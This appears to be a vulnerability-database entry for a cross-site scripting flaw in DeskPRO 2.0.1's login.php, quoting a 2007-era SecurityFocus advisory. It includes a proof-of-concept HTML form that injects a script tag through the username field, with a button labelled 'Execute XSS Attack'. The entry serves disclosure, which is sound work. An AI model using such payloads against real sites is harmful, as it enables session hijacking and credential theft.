DeskPro 2.0.1 Login.PHP HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

DeskPro 2.0.1 Login.PHP HTML Injection Vulnerability - Cross-Site Scriptin


                                                source: http://www.securityfocus.com/bid/23381/info

DeskPRO is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

DeskPRO 2.0.1 is vulnerable to this issue. 

&#60;html&#62;
&#60;head&#62;&#60;title&#62;DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability&#60;/title&#62;&#60;body&#62;

&#60;center&#62;&#60;br&#62;&#60;br&#62;&#60;font size=4&#62;DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability&#60;/font&#62;&#60;br&#62;&#60;font size=3&#62;discovered by &#60;a href=&#34;http://john-martinelli.com&#34;&#62;John
Martinelli&#60;/a&#62;&#60;/font&#62;&#60;br&#62;

&#60;br&#62;&#60;br&#62;
&#60;form action=&#34;http://target.com/login.php&#34; method=&#34;post&#34;&#62;
&#60;input type=hidden name=&#34;login_form&#34; value=&#34;login&#34;&#62;
&#60;input type=hidden name=&#34;_getvars&#34; value=&#34;getvars&#34;&#62;
&#60;input type=hidden name=&#34;_postvars&#34; value=&#34;postvars&#34;&#62;
&#60;input type=hidden name=&#34;_filevars&#34; value=&#34;filevars&#34;&#62;
&#60;input type=hidden name=&#34;password&#34; value=&#34;password&#34;&#62;
&#60;input type=hidden name=&#34;remember&#34; value=0&#62;
&#60;input name=&#34;username&#34; size=75 value=&#34;&#60;&#34;&#60;&#60;script&#62;alert(1);&#60;/script&#62;&#34;&#62;
&#60;input type=submit value=&#34;Execute XSS Attack&#34; class=&#34;button&#34;&#62;
&#60;/form&#62;

&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1